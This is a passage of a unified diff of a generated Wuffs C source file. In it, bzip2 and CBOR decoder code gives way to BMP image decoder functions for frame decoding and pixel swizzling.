v_flush_repeat_count = 0; -- uint8_t v_flush_prev = 0; -- uint32_t v_block_checksum_have = 0; -- uint32_t v_block_size = 0; -- uint32_t v_entry = 0; -- uint8_t v_curr = 0; -- -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_flush_slow[0]; -- if (coro_susp_point) { -- v_flush_pointer = self->private_data.s_flush_slow[0].v_flush_pointer; -- v_flush_repeat_count = self->private_data.s_flush_slow[0].v_flush_repeat_count; -- v_flush_prev = self->private_data.s_flush_slow[0].v_flush_prev; -- v_block_checksum_have = self->private_data.s_flush_slow[0].v_block_checksum_have; -- v_block_size = self->private_data.s_flush_slow[0].v_block_size; -- v_curr = self->private_data.s_flush_slow[0].v_curr; -- } -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- v_flush_pointer = self->private_impl.f_flush_pointer; -- v_flush_repeat_count = self->private_impl.f_flush_repeat_count; -- v_flush_prev = self->private_impl.f_flush_prev; -- v_block_checksum_have = self->private_impl.f_block_checksum_have; -- v_block_size = self->private_impl.f_block_size; -- while ((v_block_size > 0u) && ! (self->private_impl.p_flush_slow[0] != 0)) { -- if (v_flush_repeat_count < 4u) { -- v_entry = self->private_data.f_bwt[v_flush_pointer]; -- v_curr = ((uint8_t)(v_entry)); -- v_flush_pointer = (v_entry >> 12u); -- if (v_curr == v_flush_prev) { -- v_flush_repeat_count += 1u; -- } else { -- v_flush_repeat_count = 1u; -- } -- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr)] ^ ((uint32_t)(v_block_checksum_have << 8u))); -- self->private_data.s_flush_slow[0].scratch = v_curr; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (iop_a_dst == io2_a_dst) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- goto suspend; -- } -- *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow[0].scratch)); -- v_flush_prev = v_curr; -- v_block_size -= 1u; -- } else { -- v_entry = self->private_data.f_bwt[v_flush_pointer]; -- v_curr = ((uint8_t)(v_entry)); -- v_flush_pointer = (v_entry >> 12u); -- v_flush_repeat_count = ((uint32_t)(v_curr)); -- while (v_flush_repeat_count > 0u) { -- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev)] ^ ((uint32_t)(v_block_checksum_have << 8u))); -- self->private_data.s_flush_slow[0].scratch = v_flush_prev; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (iop_a_dst == io2_a_dst) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- goto suspend; -- } -- *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow[0].scratch)); -- v_flush_repeat_count -= 1u; -- } -- v_flush_repeat_count = 0u; -- v_flush_prev = v_curr; -- v_block_size -= 1u; -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame(self, -+ a_dst, -+ a_src, -+ a_blend, -+ a_workbuf, -+ a_opts); -+ v_status = t_0; - } -- } -- self->private_impl.f_flush_pointer = v_flush_pointer; -- self->private_impl.f_flush_repeat_count = v_flush_repeat_count; -- self->private_impl.f_flush_prev = v_flush_prev; -- self->private_impl.f_block_checksum_have = v_block_checksum_have; -- if (v_block_size <= 900000u) { -- self->private_impl.f_block_size = v_block_size; -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } - -- goto ok; - ok: -- self->private_impl.p_flush_slow[0] = 0; -+ self->private_impl.p_decode_frame = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_flush_slow[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_flush_slow[0].v_flush_pointer = v_flush_pointer; -- self->private_data.s_flush_slow[0].v_flush_repeat_count = v_flush_repeat_count; -- self->private_data.s_flush_slow[0].v_flush_prev = v_flush_prev; -- self->private_data.s_flush_slow[0].v_block_checksum_have = v_block_checksum_have; -- self->private_data.s_flush_slow[0].v_block_size = v_block_size; -- self->private_data.s_flush_slow[0].v_curr = v_curr; -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; - - goto exit; - exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; - } -- - return status; - } - --// -------- func bzip2.decoder.decode_huffman_fast -+// -------- func bmp.decoder.do_decode_frame - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_bzip2__decoder__decode_huffman_fast( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_src) { -+wuffs_bmp__decoder__do_decode_frame( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint32_t v_block_size = 0; -- uint8_t v_which = 0; -- uint32_t v_ticks = 0; -- uint32_t v_section = 0; -- uint32_t v_run_shift = 0; -- uint16_t v_table_entry = 0; -- uint16_t v_child = 0; -- uint32_t v_child_ff = 0; -- uint32_t v_i = 0; -- uint32_t v_j = 0; -- uint32_t v_output = 0; -- uint32_t v_run = 0; -- uint32_t v_mtft0 = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -31802,90 +32760,132 @@ wuffs_bzip2__decoder__decode_huffman_fast( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- v_bits = self->private_impl.f_bits; -- v_n_bits = self->private_impl.f_n_bits; -- v_block_size = self->private_impl.f_block_size; -- v_which = self->private_impl.f_decode_huffman_which; -- v_ticks = self->private_impl.f_decode_huffman_ticks; -- v_section = self->private_impl.f_decode_huffman_section; -- v_run_shift = self->private_impl.f_decode_huffman_run_shift; -- while (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { -- if (v_ticks > 0u) { -- v_ticks -= 1u; -- } else { -- v_ticks = 49u; -- v_section += 1u; -- if (v_section >= self->private_impl.f_num_sections) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); -- goto exit; -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 64u) { -+ } else if (self->private_impl.f_call_sequence < 64u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- v_which = WUFFS_BZIP2__CLAMP_TO_5[(self->private_data.f_huffman_selectors[(v_section & 32767u)] & 7u)]; -- } -- v_bits |= (wuffs_base__peek_u32be__no_bounds_check(iop_a_src) >> v_n_bits); -- iop_a_src += ((31u - v_n_bits) >> 3u); -- v_n_bits |= 24u; -- v_table_entry = self->private_data.f_huffman_tables[v_which][(v_bits >> 24u)]; -- v_bits <<= (v_table_entry >> 12u); -- v_n_bits -= ((uint32_t)((v_table_entry >> 12u))); -- v_child = (v_table_entry & 1023u); -- while (v_child < 257u) { -- v_child = self->private_data.f_huffman_trees[v_which][v_child][(v_bits >> 31u)]; -- v_bits <<= 1u; -- if (v_n_bits <= 0u) { -- status = wuffs_base__make_status(wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_bmp__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; - } -- v_n_bits -= 1u; -- } -- if (v_child < 768u) { -- v_child_ff = ((uint32_t)((v_child & 255u))); -- v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); -- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); -- self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); -- self->private_data.f_letter_counts[v_output] += 1u; -- self->private_data.f_bwt[v_block_size] = v_output; -- if (v_block_size >= self->private_impl.f_max_incl_block_size) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -- goto exit; -+ if (status.repr) { -+ goto suspend; - } -- v_block_size += 1u; -- v_run_shift = 0u; -- continue; -- } else if (v_child == 768u) { -- self->private_impl.f_decode_huffman_finished = true; -- break; -- } -- if (v_run_shift >= 23u) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -- goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; - } -- v_run = ((((uint32_t)(v_child)) & 3u) << v_run_shift); -- v_run_shift += 1u; -- v_i = v_block_size; -- v_j = (v_run + v_block_size); -- if (v_j > self->private_impl.f_max_incl_block_size) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -- goto exit; -+ self->private_data.s_do_decode_frame.scratch = self->private_impl.f_padding; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- v_block_size = v_j; -- v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); -- self->private_data.f_letter_counts[v_mtft0] += v_run; -- while (v_i < v_j) { -- self->private_data.f_bwt[v_i] = v_mtft0; -- v_i += 1u; -+ iop_a_src += self->private_data.s_do_decode_frame.scratch; -+ if ((self->private_impl.f_width > 0u) && (self->private_impl.f_height > 0u)) { -+ self->private_impl.f_dst_x = 0u; -+ if (self->private_impl.f_top_down) { -+ self->private_impl.f_dst_y = 0u; -+ self->private_impl.f_dst_y_inc = 1u; -+ } else { -+ self->private_impl.f_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); -+ self->private_impl.f_dst_y_inc = 4294967295u; -+ } -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)), -+ wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), -+ wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ while (true) { -+ if (self->private_impl.f_compression == 0u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_status = wuffs_bmp__decoder__swizzle_none(self, a_dst, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } else if (self->private_impl.f_compression < 3u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_status = wuffs_bmp__decoder__swizzle_rle(self, a_dst, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } else if (self->private_impl.f_compression == 3u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_status = wuffs_bmp__decoder__swizzle_bitfields(self, a_dst, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } else { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_status = wuffs_bmp__decoder__swizzle_low_bit_depth(self, a_dst, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } else if (v_status.repr != wuffs_bmp__note__internal_note_short_read) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+ } -+ self->private_data.s_do_decode_frame.scratch = self->private_impl.f_pending_pad; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_frame.scratch; -+ self->private_impl.f_pending_pad = 0u; - } -+ self->private_impl.f_call_sequence = 96u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame = 0; -+ goto exit; - } -- self->private_impl.f_bits = v_bits; -- self->private_impl.f_n_bits = v_n_bits; -- self->private_impl.f_block_size = v_block_size; -- self->private_impl.f_decode_huffman_which = v_which; -- self->private_impl.f_decode_huffman_ticks = v_ticks; -- self->private_impl.f_decode_huffman_section = v_section; -- self->private_impl.f_decode_huffman_run_shift = v_run_shift; -- status = wuffs_base__make_status(NULL); -- goto ok; - -- ok: -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ - goto exit; - exit: - if (a_src && a_src->data.ptr) { -@@ -31895,24 +32895,27 @@ wuffs_bzip2__decoder__decode_huffman_fast( - return status; - } - --// -------- func bzip2.decoder.decode_huffman_slow -+// -------- func bmp.decoder.swizzle_none - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_bzip2__decoder__decode_huffman_slow( -- wuffs_bzip2__decoder* self, -+wuffs_bmp__decoder__swizzle_none( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint32_t v_node_index = 0; -- uint16_t v_child = 0; -- uint32_t v_child_ff = 0; -- uint32_t v_i = 0; -- uint32_t v_j = 0; -- uint32_t v_output = 0; -- uint32_t v_run = 0; -- uint32_t v_mtft0 = 0; -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint32_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row = 0; -+ uint32_t v_src_bytes_per_pixel = 0; -+ wuffs_base__slice_u8 v_dst_palette = {0}; -+ wuffs_base__table_u8 v_tab = {0}; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint64_t v_i = 0; -+ uint64_t v_j = 0; -+ uint64_t v_n = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -31925,99 +32928,90 @@ wuffs_bzip2__decoder__decode_huffman_slow( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow[0]; -- if (coro_susp_point) { -- v_node_index = self->private_data.s_decode_huffman_slow[0].v_node_index; -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ goto exit; - } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while ( ! (self->private_impl.p_decode_huffman_slow[0] != 0)) { -- if (self->private_impl.f_decode_huffman_ticks > 0u) { -- self->private_impl.f_decode_huffman_ticks -= 1u; -- } else { -- self->private_impl.f_decode_huffman_ticks = 49u; -- self->private_impl.f_decode_huffman_section += 1u; -- if (self->private_impl.f_decode_huffman_section >= self->private_impl.f_num_sections) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); -- goto exit; -- } -- self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[(self->private_data.f_huffman_selectors[(self->private_impl.f_decode_huffman_section & 32767u)] & 7u)]; -+ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -+ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -+ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ label__outer__continue:; -+ while (true) { -+ while (self->private_impl.f_pending_pad > 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -+ goto ok; - } -- v_node_index = 0u; -- while (true) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -- } -- v_child = self->private_data.f_huffman_trees[self->private_impl.f_decode_huffman_which][v_node_index][(self->private_impl.f_bits >> 31u)]; -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- if (v_child < 257u) { -- v_node_index = ((uint32_t)(v_child)); -- continue; -- } else if (v_child < 768u) { -- v_child_ff = ((uint32_t)((v_child & 255u))); -- v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); -- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); -- self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); -- self->private_data.f_letter_counts[v_output] += 1u; -- self->private_data.f_bwt[self->private_impl.f_block_size] = v_output; -- if (self->private_impl.f_block_size >= self->private_impl.f_max_incl_block_size) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -- goto exit; -+ self->private_impl.f_pending_pad -= 1u; -+ iop_a_src += 1u; -+ } -+ while (true) { -+ if (self->private_impl.f_dst_x == self->private_impl.f_width) { -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -+ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -+ if (self->private_impl.f_height > 0u) { -+ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; - } -- self->private_impl.f_block_size += 1u; -- self->private_impl.f_decode_huffman_run_shift = 0u; -- break; -- } else if (v_child == 768u) { -- self->private_impl.f_decode_huffman_finished = true; - goto label__outer__break; -+ } else if (self->private_impl.f_pad_per_row != 0u) { -+ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; -+ goto label__outer__continue; - } -- if (self->private_impl.f_decode_huffman_run_shift >= 23u) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -+ } -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -+ } -+ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -+ if (v_i >= ((uint64_t)(v_dst.len))) { -+ if (self->private_impl.f_bits_per_pixel > 32u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); - goto exit; - } -- v_run = ((((uint32_t)(v_child)) & 3u) << self->private_impl.f_decode_huffman_run_shift); -- self->private_impl.f_decode_huffman_run_shift += 1u; -- v_i = self->private_impl.f_block_size; -- v_j = (v_run + self->private_impl.f_block_size); -- if (v_j > self->private_impl.f_max_incl_block_size) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -+ v_src_bytes_per_pixel = (self->private_impl.f_bits_per_pixel / 8u); -+ if (v_src_bytes_per_pixel == 0u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); - goto exit; - } -- self->private_impl.f_block_size = v_j; -- v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); -- self->private_data.f_letter_counts[v_mtft0] += v_run; -- while (v_i < v_j) { -- self->private_data.f_bwt[v_i] = v_mtft0; -- v_i += 1u; -+ v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); -+ v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); -+ v_j = v_n; -+ while (v_j >= 8u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { -+ iop_a_src += (v_src_bytes_per_pixel * 8u); -+ } -+ v_j -= 8u; - } -- break; -+ while (v_j > 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { -+ iop_a_src += (v_src_bytes_per_pixel * 1u); -+ } -+ v_j -= 1u; -+ } -+ } else { -+ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -+ &self->private_impl.f_swizzler, -+ wuffs_base__slice_u8__subslice_i(v_dst, v_i), -+ v_dst_palette, -+ &iop_a_src, -+ io2_a_src); -+ } -+ if (v_n == 0u) { -+ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -+ goto ok; - } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); - } -- label__outer__break:; -- -- goto ok; -- ok: -- self->private_impl.p_decode_huffman_slow[0] = 0; -- goto exit; - } -+ label__outer__break:; -+ status = wuffs_base__make_status(NULL); -+ goto ok; - -- goto suspend; -- suspend: -- self->private_impl.p_decode_huffman_slow[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_huffman_slow[0].v_node_index = v_node_index; -- -+ ok: - goto exit; - exit: - if (a_src && a_src->data.ptr) { -@@ -32027,256 +33021,33 @@ wuffs_bzip2__decoder__decode_huffman_slow( - return status; - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) -- --// ---------------- Status Codes Implementations -- --const char wuffs_cbor__error__bad_input[] = "#cbor: bad input"; --const char wuffs_cbor__error__unsupported_recursion_depth[] = "#cbor: unsupported recursion depth"; --const char wuffs_cbor__error__internal_error_inconsistent_i_o[] = "#cbor: internal error: inconsistent I/O"; --const char wuffs_cbor__error__internal_error_inconsistent_token_length[] = "#cbor: internal error: inconsistent token length"; -- --// ---------------- Private Consts -- --static const uint32_t --WUFFS_CBOR__LITERALS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 8388612, 8388616, 8388610, 8388609, --}; -- --static const uint8_t --WUFFS_CBOR__TOKEN_LENGTHS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 1, 1, 1, 1, 1, 1, 1, 1, -- 1, 1, 1, 1, 1, 1, 1, 1, -- 1, 1, 1, 1, 1, 1, 1, 1, -- 2, 3, 5, 9, 0, 0, 0, 1, --}; -- --// ---------------- Private Initializer Prototypes -- --// ---------------- Private Function Prototypes -- --// ---------------- VTables -- --const wuffs_base__token_decoder__func_ptrs --wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__token_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__slice_u8))(&wuffs_cbor__decoder__decode_tokens), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_cbor__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_cbor__decoder__history_retain_length), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_cbor__decoder__set_quirk), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_cbor__decoder__workbuf_len), --}; -- --// ---------------- Initializer Implementations -- --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_cbor__decoder__initialize( -- wuffs_cbor__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -- } -- -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -- } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -- } -- } -- -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = -- wuffs_base__token_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = -- (const void*)(&wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder); -- return wuffs_base__make_status(NULL); --} -- --wuffs_cbor__decoder* --wuffs_cbor__decoder__alloc(void) { -- wuffs_cbor__decoder* x = -- (wuffs_cbor__decoder*)(calloc(sizeof(wuffs_cbor__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_cbor__decoder__initialize( -- x, sizeof(wuffs_cbor__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -- } -- return x; --} -- --size_t --sizeof__wuffs_cbor__decoder(void) { -- return sizeof(wuffs_cbor__decoder); --} -- --// ---------------- Function Implementations -- --// -------- func cbor.decoder.get_quirk -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_cbor__decoder__get_quirk( -- const wuffs_cbor__decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -- --// -------- func cbor.decoder.set_quirk -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_cbor__decoder__set_quirk( -- wuffs_cbor__decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return 